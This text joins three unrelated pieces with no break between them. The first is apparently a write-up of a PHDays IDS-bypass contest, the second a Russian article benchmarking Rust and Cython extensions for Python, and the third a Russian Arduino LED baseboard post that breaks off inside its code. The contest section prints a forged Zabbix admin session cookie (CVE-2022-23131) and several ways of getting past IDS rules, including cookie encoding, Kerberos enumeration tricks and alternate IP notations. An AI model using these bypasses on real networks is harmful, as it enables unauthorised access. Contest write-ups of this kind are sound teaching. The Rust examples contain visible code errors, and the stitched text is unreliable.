One of the recently found Zabbix vulnerabilities is [CVE-2022-23131](https://blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage/). This vulnerability in the SSO authorization mechanism allows cookie spoofing to log in to Zabbix without authorization under an admin account. The exploit is on [GitHub](https://github.com/Mr-xn/cve-2022-23131) and is detected by one of the three IDS rules:
* `ET EXPLOIT Zabbix v5.4.0 - 5.4.8 SSO/SALM Auth Bypass (CVE-2022-23131) M1`
* `ET EXPLOIT Zabbix v5.4.0 - 5.4.8 SSO/SALM Auth Bypass (CVE-2022-23131) M2`
* `ET EXPLOIT Zabbix v5.4.0 - 5.4.8 SSO/SALM Auth Bypass (CVE-2022-23131) M3`
These rules are publicly available for download as part of the [ET Open Ruleset](https://rules.emergingthreats.net/open/suricata-5.0/emerging-all.rules). Here's what the first rule looks like, for example:
```
alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET EXPLOIT Zabbix v5.4.0 - 5.4.8 SSO/SALM Auth Bypass (CVE-2022-23131) M1"; flow:established,to_server; http.uri; content:"/index_sso.php"; startswith; http.cookie; content:"zbx_session="; content:"InVzZXJuYW1lX2F0dHJpYnV0ZSI6"; distance:0; fast_pattern; pcre:"/(?:InNhbWxfZGF0YS|JzYW1sX2RhdGEi|ic2FtbF9kYXRhI)/"; reference:url,blog.sonarsource.com/zabbix-case-study-of-unsafe-session-storage; reference:cve,2022-23131; classtype:trojan-activity; sid:2035371; rev:2; metadata:attack_target Server, created_at 2022_03_02, cve CVE_2022_23131, deployment Perimeter, deployment Internal, former_category EXPLOIT, signature_severity Major, tag Exploit, updated_at 2022_03_02;)
```
Many participants took advantage of another popular [exploit](https://github.com/Mr-xn/cve-2022-23131/blob/main/zabbix_session_exp.py). Uncommenting line 62 therein resulted in the exploit outputting the value of the zbx\_session cookie, which had to be set in the browser:
```
Cookie: zbx_session= eyJzYW1sX2RhdGEiOiB7InVzZXJuYW1lX2F0dHJpYnV0ZSI6ICJBZG1pbiJ9LCAic2Vzc2lvbmlkIjogImZkYmQ2Y2JiYmIyMTEzM2RmNDM3NmU0YzRhZjc0OTIwIiwgInNpZ24iOiAiRENoZHZWUHBubEZBMEpqVFVDV2lHWkZaZWZ6OU1MMnlxTlpubzVPUkRQeDJDaGhiN0hOVWV1VjRPN2QwYWY5T2d5b09ONjhPYmdOWkgzMGhnV1c3NlE9PSJ9
```
This should have enabled the participant to get into the Zabbix admin panel. But having come this far, they received an alert from the IDS:
`ET EXPLOIT Zabbix v5.4.0 - 5.4.8 SSO/SALM Auth Bypass (CVE-2022-23131) M1`
To bypass the IDS, many participants URL-encoded the value of the zbx\_session cookie:
```
Cookie: zbx_session= %65%79%4a%7a%59%57%31%73%58%32%52%68%64%47%45%69%4f%69%42%37%49%6e%56%7a%5a%58%4a%75%59%57%31%6c%58%32%46%30%64%48%4a%70%59%6e%56%30%5a%53%49%36%49%43%4a%42%5a%47%31%70%62%69%4a%39%4c%43%41%69%63%32%56%7a%63%32%6c%76%62%6d%6c%6b%49%6a%6f%67%49%6d%5a%6b%59%6d%51%32%59%32%4a%69%59%6d%49%79%4d%54%45%7a%4d%32%52%6d%4e%44%4d%33%4e%6d%55%30%59%7a%52%68%5a%6a%63%30%4f%54%49%77%49%69%77%67%49%6e%4e%70%5a%32%34%69%4f%69%41%69%52%45%4e%6f%5a%48%5a%57%55%48%42%75%62%45%5a%42%4d%45%70%71%56%46%56%44%56%32%6c%48%57%6b%5a%61%5a%57%5a%36%4f%55%31%4d%4d%6e%6c%78%54%6c%70%75%62%7a%56%50%55%6b%52%51%65%44%4a%44%61%47%68%69%4e%30%68%4f%56%57%56%31%56%6a%52%50%4e%32%51%77%59%57%59%35%54%32%64%35%62%30%39%4f%4e%6a%68%50%59%6d%64%4f%57%6b%67%7a%4d%47%68%6e%56%31%63%33%4e%6c%45%39%50%53%4a%39
```
This illustrates well how IDS Bypass tasks can have multiple solutions. Initially, bypassing a specific rule was envisaged. For example, after decoding, we get the following contents of the zbx\_session cookie:
`{"saml_data": {"username_attribute": "Admin"}, "sessionid": "fdbd6cbbbb21133df4376e4c4af74920", "sign": "DChdvVPpnlFA0JjTUCWiGZFZefz9ML2yqNZno5ORDPx2Chhb7HNUeuV4O7d0af9OgyoON68ObgNZH30hgWW76Q=="}`
The Base64-encoded strings from the IDS rule are decoded as follows:
* `"username_attribute":`
* `"saml_data`
By putting a space before the colon in the username\_attribute key, we do not violate the JSON structure, but bypass the above IDS rule. This also gets us a flag (the sessionid and sign fields are optional):
`Cookie: zbx_session= eyJzYW1sX2RhdGEiIDp7InVzZXJuYW1lX2F0dHJpYnV0ZSIgOiJBZG1pbiJ9LCAic2Vzc2lvbmlkIjoiIiwic2lnbiI6IiJ9`
The flag was hidden in the list of Zabbix users.
Task 3: EVIL.CORP (30 points)
-----------------------------
The task description instructed the participant to enumerate the list of users in the EVIL.CORP domain using the Kerberos protocol. Usernames have a strictly defined format: user[1..16]\_[a..z0..9]. Peace of cake, right? However, the task mentioned some kind of protection based on ML...
Users can be enumerated with any suitable tool (for example, [kerbrute](https://github.com/ropnop/kerbrute)). We generate a list of users and launch the enumeration:
`kerbrute -dc-ip 10.0.0.145 -domain evil.corp -threads 2 -users usernames.txt;`
Almost immediately we receive IDS alerts (one for each thread). Some participants set the number of threads equal to the number of users, which, unsurprisingly, did not bring success:
`ANOMALY [PTsecurity] Your traffic looks like kerberos user enumeration (Too many usernames). Blocked for 300 seconds`
We not only get a rule triggering, but also are blocked for five minutes. That gives us time to think.
The ML abbreviation in the task description is there purely to intimidate. Instead of ML, there is a simple algorithm that increments a counter if it detects login attempts by different users, and decrements it if a user is repeated. When the counter reaches the threshold value, the rule is triggered. To bypass this algorithm, it is enough to add each user to the list three times in sequence. Kerbrute will then work with two threads:
```
date; /home/user/.local/bin/kerbrute -dc-ip 10.0.0.145 -domain evil.corp -threads 2 -users usernames.txt; date
Fri Apr 29 17:13:47 MSK 2022
Impacket v0.9.24.dev1+20210630.100536.73b9466c - Copyright 2021 SecureAuth Corporation
[*] Valid user => user1_d2
[*] Valid user => user2_de
[*] Valid user => user3_3e
[*] Valid user => user4_88
[*] Valid user => user5_e1
[*] Valid user => user6_fa
[*] Valid user => user7_80
[*] Valid user => user8_0f
[*] Valid user => user9_be
[*] Valid user => user10_d9
[*] Valid user => user11_02
[*] Valid user => user12_a9
[*] Valid user => user13_99
[*] Valid user => user14_51
[*] Valid user => user15_1e
[*] Valid user => user16_33
[*] No passwords were discovered :'(
Fri Apr 29 17:20:27 MSK 2022
```
We get the flag d2de3e88e1fa800fbed902a999511e33 in 6 minutes 40 seconds.
Task 4: WIN-FS98F6 (35 points)
------------------------------
During this task, after scanning the ports of host 10.0.0.21, the participant discovered only port 445. By accessing the host via SMB with any client, the participant found only one share available to anonymous users:
```
user@ubuntu1:~$ smbclient.py 10.0.0.21
Impacket v0.9.25.dev1 - Copyright 2021 SecureAuth Corporation
Type help for list of commands
# shares
flag
users
IPC$
# use flag
[-] SMB SessionError: STATUS_ACCESS_DENIED({Access Denied} A process has requested access to an object but has not been granted those access rights.)
# use users
# ls
-rw-rw-rw- 105 Sat May 7 18:02:48 2022 users.txt
# cat users.txt
I can even publish my credentials here. Our IDS is so good, no one won't get through
sammy:samm3P@ssw0rd
```
References to The Lord of the Rings in this task are limited to the user having the name sammy. On attempting to log in as this user, the participant got an alert, with smbclient from the samba-tool suite and smbclient.py from the Impacket library receiving different notifications:
```
smbclient.py sammy:samm3P@ssw0rd@10.0.0.21
ATTACK [PTsecurity] User sammy login from unknown place
smbclient //10.0.0.21/flag -U Sammy
ATTACK [PTsecurity] User sammy login from wrong place (0%)
```
Generally, the packet that blocks the IDS, after which the alert is sent, is the cause of this alert. By logging their network traffic before the alert, the participant discovered that the IDS was blocking the NTLMSSP packet with an NTLMSSP\_AUTH message.
By comparing these packets from the two tools mentioned above, one (smbclient.py) did not set the value of the Host name field in the NTLMSSP\_AUTH message, while the other did. For example, in the screenshot below our host was called UBUNTU1.
Now it was just a matter of bruteforcing the host name, starting with the first letter, and finding the correct one. The percentages in the name of the alert helped the participant know they had got the next character right. The correct host name was SAMDESKTOP.
```
user@ubuntu1:~$ smbclient //10.0.0.21/flag -U sammy
smb: \> ls
flag.txt N 29 Wed May 11 23:38:27 2022
smb: \> get flag.txt
getting file \flag.txt of size 29 as flag.txt (0.3 KiloBytes/sec)
smb: \> exit
user@ubuntu1:~$ cat flag.txt
flag{S4mm3_where_1s_Fr0d0?}
```
This task is similar to one of the intruder detection mechanisms for when attackers try to log under user accounts from unusual hosts.
Task 5: ABC (45 points)
-----------------------
The more complex the task, the higher its value, and vice versa. Only one participant, psih1337, managed to solve it, thereby securing first place.
Participants were given the domain ABC.XYZ and a host named DC. They were instructed to take the account details sammy:samm3P@ssw0rd from the previous task. There were only two open ports on the host: 88 and 445. This set of ports seemed to hint that the participant must get a Kerberos ticket and use it to access the share via SMB. NTLM authorization was disabled in this task.
`smbclient.py -k -dc-ip 10.0.0.233 ABC.XYZ/sammy:samm3P@ssw0rd@DC`
After this command, the participant received an alert:
`ATTACK [PTsecurity] Block TGS request with probably malicious TGT ticket`
IDS blocked the TGS request for the cifs/DC service because it contained a malicious TGT ticket. The word "malicious" had no literal meaning here and was intended merely to draw the participant's attention to the TGT ticket.
Only three hours remained till the end of the contest, and no one could solve this task. So two hints were issued:
* Hint for task ABC: Do not stick to the TGT details. Take a look at the whole picture
* Hint 2 for task ABC: How many ways of getting TGT you know?
Participant psih1337 was able to bypass IDS protection and get the flag, aided (somewhat surprisingly) by their operating system: The TGS request was larger (about 1.5 KB) than the standard MTU, so the network stack had to split one request into two TCP fragments, like this:
The blocking rule checked the content at the beginning and the end of the packet, according to the structure of Kerberos requests. As long as the OS was splitting packets as pictured, there were no problems with attack detection and blocking. However, after three unanswered TGS requests, the Windows network stack split the request into three smaller chunks of around 500 bytes.
The blocking rule could not cope with this trick and missed the issuing of a TGS ticket. As a result, the flag was captured. The network stack in Linux behaves differently and does not break packets into smaller fragments.
```
> C:\Python39\python.exe smbclient.py ABC.XYZ/sammy:samm3P@ssw0rd@DC -port 445 -k -debug -dc-ip 10.0.0.233
[+] Trying to connect to KDC at 10.0.0.233
[+] Trying to connect to KDC at 10.0.0.233
[+] Trying to connect to KDC at 10.0.0.233
Type help for list of commands
# use FLAG
# cat flag.txt
flag{Fl4g_was_s0_clos3_but_s0_f4r}
# Bye!
```
Because the inherent solution vector was not implemented, the task has been carried over to the next IDS Bypass, where the described method will no longer work.
Task 6: Flask (25 points)
-------------------------
The description was misleading. This task was the simplest and had many solutions. There was a web server on the host. The contestants had to enter their IP address into a form to make the server send a flag to this host.
On entering their address (10.8.0.26), the participant received an alert:
`ATTACK [PTsecurity] IP address in URL. Probably code execution exploit`
The trigger mechanism is as simple as can be: the IDS rule looks for an IP address in the URL string with a regular expression: `\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}`. The server, by contrast, uses the user-entered IP address as the destination address in Scapy to send an ICMP packet to the specified host.
As is known, there are many forms of IP address representation, many of which are accepted by network utilities. Here are the solutions we saw in the contest:
* 10.8.0000.26
* 168296474
* 10.8.0x0.26
* Domain name
As a result, the server sent the flag in the form of an ICMP echo packet.
We hope the participants had fun solving this task.
Results
-------
It was a nail-biter! The scramble for medal places went down to the wire: participant Abr1k0s finished enumerating users in the EVIL.CORP task a minute before the end of the contest, snatching bronze with 111 points. That was just a single point ahead of the fourth-place finisher. The winners received cash prizes and memorabilia.
Results:
| | | |
| --- | --- | --- |
| 1️⃣ psih1337 | 2️⃣ OneManTeam | 3️⃣ Abr1k0s |
| 💰 Points: 162 | 💰Points: 121 | 💰Points: 111 |
| 🏅 Tasks solved: 6 | 🏅 Tasks solved: 5 | 🏅 Tasks solved: 5 |
Thanks, everyone! We promise to prepare even more exciting challenges for you next year. See you at PHDays 12!
Written by [@ajaxtpm](/users/ajaxtpm)
 | https://habr.com/ru/post/673226/ | null | en | null |
# Python на максималках: расширения на языках Rust и Cython
Python — лучший выбор для анализа данных и машинного обучения. Его производительность в большинстве случаев более чем достаточна. Но как быть, если объемы ваших данных растут значительно быстрее, чем имеющиеся ресурсы, и требуется повышение производительности?
В этой статье мы попробуем решить несколько простых задач, используя чистый Python и два языка расширения: Rust и Cython. Чтобы сравнить два этих подхода, мы оценим трудоемкость каждого из них, а также рассмотрим случаи, в которых следует попробовать что-то другое. Начнем с установки и с простых приложений, а затем перейдем к более сложным экспериментам.
Что не так с Python?
--------------------
Python — один из самых популярных языков программирования, особенно в областях анализа данных, науки о данных, машинного обучения, глубокого обучения и технологий искусственного интеллекта. Популярность Python неудивительна — это язык с простым синтаксисом и динамической типизацией, не требующий ручного управления оперативной памятью.
Кроме того, при создании переменной не нужно объявлять ее тип, так как Python — интерпретируемый язык, а не компилируемый.
Однако за всеми этими преимуществами таятся два серьезных недостатка Python, и вам лучше подумать о них прежде, чем ваши данные вырастут в объеме, их обработка станет слишком сложной и потребует нестандартных подходов:
1. Скорость обработки.
2. Ограниченные возможности параллелизации из-за глобальной блокировки интерпретатора (Global Interpreter Lock, GIL), что является прямым следствием того, что Python является интерпретируемым языком.
Но давайте пока отложим в сторону параллельные вычисления (мы вернемся к ним в будущих статьях). Сначала хотелось бы обсудить скорость работы Python и возможные пути ее повышения с помощью расширений на языках Rust и Cython.
Как правило, их сравнивают с помощью отдельных тестов и сопоставляют только с Python. В этой статье мы напрямую сравним чистый Python с Rust и Cython на примере нескольких задач.
Расширения на компилируемых языках (например, на Rust и Cython) позволяют выделить самые вычислительно затратные операции в отдельные модули, написанные на другом, более эффективном языке программирования. Скомпилированные модули можно импортировать и использовать изнутри кода Python с помощью классической процедуры импорта. Например:
```
import my_module
```
где my\_module — компилируемое расширение.
А нужны ли нестандартные расширения в коде Python?
--------------------------------------------------
Прежде чем бросаться писать собственные расширения Python на высокопроизводительных языках программирования, убедитесь, что вы уже достигли предела производительности Python для вашей задачи. Например, попробуйте подумать вот о чем:
1. Сам алгоритм должен быть близок к оптимальному. Переписывание неэффективного алгоритма с привлечением другого языка и его использование в качестве расширения Python может сработать хуже, чем простая оптимизация Python;
2. Существует целый ряд доступных библиотек Python, позволяющих достаточно быстро обрабатывать данные, например Numpy, Pandas, Dask, Vaex, Polars, PyTorch и другие. Вы можете попробовать использовать их для ускорения выполнения своего кода Python, так как они в основном написаны на компилируемых языках и работают быстро. PyTorch стоит здесь особняком: эта библиотека применяется не только для проектирования нейронных сетей, но и для ускорения матричных вычислений, потому что она использует параллельные вычисления на графических процессорах (GPU). В таком контексте PyTorch можно считать аналогом Numpy, предназначенным для вычислений на графических процессорах, а не на ЦП.
3. И разумеется, если данные импортируются из реляционной базы данных, настоятельно рекомендуется как можно шире использовать SQL, который очень эффективно позволяет сортировать данные, агрегировать их и выполнять множество других полезных операций.
Таким образом, разрабатывать собственные расширения для Python имеет смысл только в том случае, если ваша задача никак не может быть решена с привлечением кода из вышеупомянутых библиотек или средствами SQL. Но если вам нужно выполнять специфические преобразования данных, разбивать данные на нестандартные интервалы или производить другую сложную обработку, такие расширения могут оказаться весьма уместными. В некоторых случаях использование Rust или Cython позволяет повысить производительность алгоритма более чем в 40 раз — например, при преобразовании длинных последовательностей, таких как аудиосигналы.
Мы в Exness используем подобные расширения для предварительной обработки данных для моделей машинного обучения, чтобы повысить эффективность расчетов в продакшене. Например, их можно использовать для расчета сегментации этапов жизненного цикла клиента, чтобы разбивать временной ряд на интервалы между пополнениями счета при условии, что они превышают 10 дней.
Что такое Rust и Cython?
------------------------
В этой статье мы рассмотрим компилируемые языки Rust и Cython, которые позволяют создавать расширения для кода Python. Cython изначально разрабатывался именно для этого, тогда как Rust — самостоятельный, сравнительно молодой язык программирования, популярность которого быстро растет. Он используется для разработки веб-приложений, машинного обучения (например, существует версия [BERT](https://github.com/guillaume-be/rust-bert) для Rust) и других целей.
Давайте попробуем решить сложную задачу сериализации, используя чистый Python, Cython и Rust, а затем сравним эффективность этих решений.
Основы Rust и Cython
--------------------
Для начала напишем простое расширение Python, возвращающее первый элемент переданного массива.
### Rust
Установите Rust согласно официальным инструкциям: <https://www.rust-lang.org/tools/install>.
Вначале создадим папку проекта с именем «rust\_processing». Папка будет выглядеть следующим образом:
```
rust_processing
- Cargo.toml
- src
- - lib.rs
```
**Cargo.toml** описывает создаваемое расширение:
```
[package]
name = "rust_processing"
version = "0.1.0"
authors = ["MyName"]
edition = "2018"
[lib]
name = "rust_processing"
crate-type = ["cdylib"]
[dependencies]
rand = "0.8.4"
[dependencies.cpython]
version = "0.5"
features = ["extension-module"]
```
Убедитесь, что переменные «name» везде одни и те же и совпадают с именем расширения. Далее мы будем использовать это имя для импорта расширения в Python.
Помимо **Cargo.toml** нам также понадобится папка с именем «src», содержащая скрипт [**lib.rs**](http://lib.rs) (rs — расширение для кода на Rust). В него мы вставим код нашего расширения, а именно:
```
# Для объединения Rust и Python необходимо обеспечить преобразование кода на этих языках
extern crate cpython;
use cpython::{PyResult, Python, py_module_initializer, py_fn};
py_module_initializer!(rust_processing, |py, m| {
m.add(py, "doc", "Этот модуль реализован на языке Rust")?;
m.add(py, "return_first", py_fn!(py, return_first(array: Vec)))?;
});
fn return\_first(\_py: Python, array: Vec) -> PyResult {
Ok(\_return\_first(&users))
}
fn \_\_return\_first(array: &Vec) -> i32 {
array[0]
}
```
Важно отметить, что эта функция может принимать как список Python, так и массив Numpy. Второй вариант будет работать быстрее.
Вы, вероятно, заметили в приведенном коде, что Rust требует использовать статическую типизацию и обработку указателей. Это может показаться чрезмерно сложным. Тем не менее, если вы никогда не работали с компилируемыми языками программирования, вам будет со временем все легче осваивать Rust. Сообщество пользователей языка активно растет, у языка подробная документация и интуитивное описание ошибок компиляции
Для компиляции кода откройте окно терминала в каталоге проекта и выполните следующую команду:
```
cargo rustc --release -- -C link-arg=-undefined -C link-arg=dynamic_lookup
```
Это вариант для macOS. Для Linux и Windows все еще проще:
```
cargo rustc --release
```
После завершения компиляции в каталоге проекта появится папка «target». Внутри нее в папке «release» будет находиться файл **librust\_processing.dylib** (в Linux он будет иметь расширение .so вместо .dylib, в Windows — .dll). Теперь необходимо изменить расширение на .so, а имя — на то, которое записано в файле **cargo.toml**.
Эти изменения также вносятся через терминал:
```
cargo rustc --release
```
Наконец, если поместить файл **rust\_processing.so** в папку, содержащую конечный скрипт Python, и просто импортировать его. Функция **return\_first** станет доступна из Python.
#### Cython
Чтобы использовать Cython, установите его с помощью pip:
```
pip install cython
```
Затем создайте два файла: [**setup.py**](http://setup.py) и **cython\_processing.pyx**. В файле [**setup.py**](http://setup.py) описывается процедура компиляции:
```
from setuptools import setup
from Cython.Build import cythonize
import numpy
setup(
ext_modules=cythonize("cython_processing.pyx"),
include_dirs=[numpy.get_include()]
)
```
А в файле **cython\_processing.pyx** описывается функциональность модуля:
```
import numpy as np
cimport numpy as np
cimport cython
cpdef list return_first(np.ndarray array):
return array[0]
```
Очень похоже на Python, не правда ли?
Стоит заметить, что Cython не требует предварительного определения типов данных, включая выходные данные. Однако это может значительно улучшить производительность вычислений. Сейчас мы продемонстрируем это.
Для компиляции просто выполните в терминале следующую команду:
```
python setup.py build_ext --inplace
```
Теперь у вас есть файл с расширением .so, который можно импортировать в программу Python.
Сравнительные тесты
-------------------
### Описание
Для сравнения производительности наших расширений давайте решим несколько задач с массивами для различных наборов данных:
* используя чистый Python,
* с оптимизацией на основе Rust,
* с оптимизацией на основе Cython.
И первым будет…
### Первый элемент
Начнем с простейшей задачи: возвращение первого элемента переданного массива. Это реализуется на языках Python, Cython и Rust следующим образом.
**Чистый Python:**
```
def return_first(numbers):
return numbers[0]
```
**Cython:**
```
import numpy as np
cimport numpy as np
cimport cython
cpdef float return_first(np.ndarray[np.float64_t, ndim=1] numbers):
return numbers[0]
```
**Rust:**
```
extern crate cpython;
use cpython::{PyResult, Python, py_module_initializer, py_fn};
py_moduly_initializer(rust_processing, |py, m|{
m.add(py, "__doc__", "Модуль для обработки Rust")?;
m.add(py, "return_first", py_fn!(py, return_first(numbers: Vec)))?;
Ok(())
});
fn return\_first(\_py: Python, numbers: Vec) -> PyResult {
Ok(\_return\_first(&numbers))
}
fn \_return\_first(numbers: &Vec) -> f32 {
numbers[0]
}
```
Теперь протестируем производительность этих трех версий, используя два набора случайно генерируемых массивов объемом 1000 элементов (небольшой) и 10 000 элементов (большой).
Как ни странно, быстрее всех оказался Python. Почему так получилось?
Дело в том, что все операции выполняются в Python, то есть требуется некоторое дополнительное время на преобразование типов данных из одного языка в другой. Больше всего времени заняла реализация на Rust. Почему? Rust использует ряд специальных механизмов, обеспечивающих простое, стабильное и надежное управление памятью для высоконагруженных приложений. Поэтому некоторые простые операции Rust могут выполняться медленнее.
Теперь попробуем усложнить задачу.
### Усечение временного ряда
Мы в Exness собираем всевозможные данные о торговых сделках наших клиентов и операциях на их счетах. Эти данные мы используем главным образом для построения моделей машинного обучения, позволяющих прогнозировать ценность клиентов, оценки потенциальных клиентов, отток и прочее. Во многих алгоритмах требуется рассматривать данные как временные ряды. Например, если мы анализируем данные по депозитам и торговле, представленные несколькими временными рядами, нам нужно установить конкретные границы отдельных микроциклов в рамках жизненного цикла клиентов в компании. Такие границы могут определяться операциями пополнения счета, так что каждый временной ряд будет начинаться с одного пополнения и оканчиваться следующим. Временной ряд не должен быть слишком коротким, поэтому ограничим минимальный интервал времени между двумя пополнениями счета 10 днями.
В этой демонстрации мы упростим код для удобочитаемости. Мы передаем только одномерный массив сумм депозитов по дням (переменная deposits) и ищем пары индексов дней, указывающих начало и конец временного ряда (массив кортежей borders).
Итак, вот что у нас получилось.
**Чистый Python:**
```
def get_borders(deposits: List[float], min_length: int=10): -> List[tuple]
borders = [ ]
for i in range(len(deposits)):
if deposits[i] > 0:
if len(borders) == 0:
borders.append([i])
else:
if deposits[i] - borders[-1][0] >= min_length:
borders[-1].extend([i])
borders.append([i])
return borders
```
**Cython:**
```
cpdef list get_borders(np.ndarray[np.float64_t, ndim=1] deposits, int min_length=10):
cdef int i
cdef list borders = [ ]
cdef int n_borders
for i in range(len(deposits)):
n_borders = len(borders)
if deposits[i] > 0:
if n_borders == 0:
borders.append([i])
else:
if i - borders[n_borders - 1][0] >= min_length:
borders[n_borders - 1].extend([i])
borders.append([i])
return borders
```
**Rust:**
```
fn get_borders(_py: Python, deposits: Vec) -> PyResult>> {
Ok(\_get\_borders(&deposits))
}
fn \_get\_borders(deposits: &Vec) -> Vec> {
let mut borders: Vec> = Vec::new();
for i in 0..(deposits.len()) {
let n\_borders = borders.len();
if deposits[i] > 0 {
if n\_borders == 0 {
borders.push(vec![i as i32]);
}
else {
if i as i32 - borders[n\_borders - 1][0] >= min\_length {
borders[n\_borders - 1].extend(vec![i as i32];
borders.push(vec![i as i32]);
}
}
}
}
borders
}
```
И вновь протестируем производительность этих трех версий на двух наборах случайно генерируемых массивов: 1000 элементов (небольшой) и 10 000 элементов (большой).
Ситуация изменилась. Теперь Cython и Rust работают заметно быстрее, чем чистый Python. При этом Cython оказывается немного быстрее, чем Rust. Это можно объяснить тем, что Rust лучше подходит для серьезных вычислений.
Но что, если еще сильнее усложнить задачу?
### Усечение временного ряда (двойной цикл)
Добавим еще один цикл внутрь первого цикла. В большинстве случаев вы будете стараться всеми силами этого избежать, однако бывают обстоятельства, когда без этого не обойтись. Поэтому давайте попробуем.
Для простоты мы добавим фиктивный цикл, в котором ничего существенного не происходит.
**Чистый Python:**
```
def get_borders_double_loop(deposits: List[float], min_length: int=10): -> List[tuple]
borders = [ ]
for i in range(len(deposits)):
for j in range(len(deposits)):
temp = 0
if deposits[i] > 0:
if len(borders) == 0:
borders.append([i])
else:
if i - borders[-1][0] >= min_length:
borders[-1].extend([i])
borders.append([i])
return borders
```
**Cython:**
```
cpdef list get_borders_double_loop(np.ndarray[np.float64_t, ndim=1] deposits, int min_length=10):
cdef int i
cdef int temp
cdef list borders = [ ]
cdef int n_borders
for i in range(len(deposits)):
for j in range(len(deposits)):
temp = 0
n_borders = len(borders)
if deposits[i] > 0:
if n_borders == 0:
borders.append([i])
else:
if i - borders[n_borders - 1][0] >= min_length:
borders[n_borders - 1].extend([i])
borders.append([i])
return borders
```
**Rust**
```
fn get_borders_double_loop(_py: Python, deposits: Vec) -> PyResult>> {
Ok(\_get\_borders(&deposits))
}
fn \_get\_borders\_double\_loop(deposits: &Vec) -> Vec> {
let mut borders: Vec> = Vec::new();
let mut temp: i32
for i in 0..(deposits.len()) {
for j in 0..(deposits.len()) {
temp = 0
}
let n\_borders = borders.len();
if deposits[i] > 0 {
if n\_borders == 0 {
borders.push(vec![i as i32]);
}
else {
if i as i32 - borders[n\_borders - 1][0] >= min\_length {
borders[n\_borders - 1].extend(vec![i as i32];
borders.push(vec![i as i32]);
}
}
}
}
borders
}
```
Приводим результаты измерения скорости выполнения:
Любопытно, не так ли?
Реализация на Python вполне ожидаемо «просела», показав более чем тысячекратное снижение производительности на большом наборе данных. Cython также не избежал замедления, но всего в 300 раз. Его скорость в 12 раз выше, чем скорость чистого Python. Неплохо.
Но посмотрите на Rust. Он с трудом соревновался с Cython в одиночном цикле, но в случае двойного цикла его производительность ничуть не изменилась! На одном цикле Rust демонстрирует практически ту же производительность, что и Cython, но на двойном цикле он имеет 245-кратное преимущество.
Дело в том, что Rust замедляет эффективные процессы управления памятью, что с одной стороны приводит к увеличению времени инициализации, но с другой стороны означает более быструю обработку рекурсии и вложенных циклов.
Замечание о Cython
------------------
Если Python совсем не требует типизации переменных, Rust требует строгой типизации каждой переменной, то Cython же демонстрирует определенную гибкость. Вы можете выбрать любой вариант в диапазоне между полностью динамическими и полностью строгими типами, и это существенно повлияет на производительность.
Посмотрите на предыдущий пример. Если вы «забудете» определить тип возвращаемой переменной, производительность алгоритма упадет в 2–3 раза (120 мкс вместо 80 для небольшого набора данных и 1,5 мс вместо 0,6 мс для большого).
Если ваш алгоритм Cython не ускорился так, как ожидалось, просто еще раз проверьте все определения переменных. Возможно, вы что-то пропустили или присвоили какой-то переменной неэффективный тип.
Заключение
----------
Какой можно сделать вывод? Cython и Rust позволяют кардинально улучшить производительность вашего алгоритма. Но, как обычно, здесь есть свои плюсы и минусы.
| | | |
| --- | --- | --- |
| **Язык** | **Преимущества** | **Недостатки** |
| Python | Удобство использованияТот же код, что и в основной программе. Нет необходимости переключаться с языка на язык | Низкая производительность для высоконагруженных вычислений |
| Cython | Синтаксис поход на PythonПостепенное повышение производительности по мере оптимизации кодаПотенциально значительное повышение производительности | Нет обязательной типизации, пропуск какого-либо типа переменной может привести к резкому снижению производительностиСинтаксис более сложен по сравнению с PythonПроизводительность вложенных циклов и рекурсии ниже, чем у Rust |
| Rust | Серьезное преимущество на вложенных циклах и рекурсиях даже по сравнению с Cython | Гораздо более сложный синтаксис |
Что же выбрать? Как всегда, выбор за вами. Но сначала убедитесь, что ваш алгоритм на Python близок к оптимальному. Возможно, вам не потребуется никакого ускорения. Затем оцените уровень сложности алгоритма. Чем ближе он к простому циклу, тем больше будет аргументов в пользу Cython. Если он содержит вложенные циклы, рекурсии или другие вычисления, обладающие потенциалом для распараллеливания, то наилучшим вариантом может быть Rust.
Что дальше?
-----------
Создание циклов для эффективной обработки — хорошая идея. Но нет ли более быстрых способов обработки целых наборов данных? Мы попробуем выяснить это в следующий раз, сравнивая различные фреймворки обработки данных.
Мы также рассмотрим вопрос эффективности параллельной обработки для различных языков.
Тестовый стенд
--------------
Все примеры кода и тесты скорости выполнения, упомянутые в этой статье, проводились на MacBook Pro с чипом Apple M1 Pro (16 Гб) и с использованием Python 3.9.7 для архитектуры ARM64. | https://habr.com/ru/post/697034/ | null | ru | null |
# Smart плинтус 1.0
Озаботила меня одна проблема – темный коридор по пути из спальни на кухню. Ну, знаете, люблю ночью на кухню ходить, но в потемках некомфортно, а т.к. коридор относительно ширины достаточно длинный, то велика вероятность отклонения от маршрута при ориентировании по встроенным в голову гироскопам. Ошибка накапливается, да еще ноги разной длины, ходил с вытянутыми руками и попадал в дверной проем не с первого раза.
Да, конечно есть всякие ночники, датчики движения, умные дома, но у меня есть лучше, у меня есть пластиковый плинтус с кабельным каналом.
Поэтому возникла идея запихать туда светодиодную ленту и посмотреть, как она там себя будет чувствовать и получилось, знаете ли, довольно круто, такая подсветочка, как в космических кораблях.
Ну, дальше конечно — ARDUINO! А нафига? А чтобы Smart! Заказал на Али 2 датчика движения и пошла работа.
Не работа конечно, а удовольствие. Датчик движения был выбран без примерки и мне, как всегда повезло, он идеально подошел в плинтус. Два датчика понадобилось, чтобы поставить их на двух концах плинтуса, ведь и с кухни нужно возвращаться.
Распиновку датчика китайцы почему-то сделали под линзой. Диапазон питающих напряжений 4,5-20В, выход: 3,3В – есть движение, 0В – нет движения. Есть еще один джампер и два подстроечника, не стал разбираться, т.к. по умолчанию все работало нормально. Еще, когда все собрал и запараллелил 2 выхода датчиков, напряжение, при движении стало около 1,5В. Думаю, что так делать нельзя и нужно было поставить диоды, но разбирать заново было неохота, тем более, что этот выход был заведен на АЦП.
Лента управляется полевиком IRFZ34N, потому что такой валялся. Конечно он не открывается полностью пятью вольтами, но с моей лентой, которая потребляет около 1А при 12В он справляется без нагрева.
Фоторезистор был взят дешевый, китайский.
Программа простая, с такой логикой: если освещенность ниже определенного порога, то подсвечиваем, плавно включаем и через заданное время плавно выключаем. Если во время свечения снова засекли движение, считаем задержку заново. Освещенность не меряем, когда светим, т.к. датчик освещенности засвечивается самим плинтусом.
```
int ledPin = 5; //Светодиодная лента
int lightSensorPin = A7; //Фоторезистор
int motionSensorPin = A0; //Датчик движения
int val = 0; //Яркость ленты
int light = 0; //Освещенность
int motion = 0; //Движение
int timerCounter = 0; //Считалка времени
int timerEnable = false; //Начало цикла включения
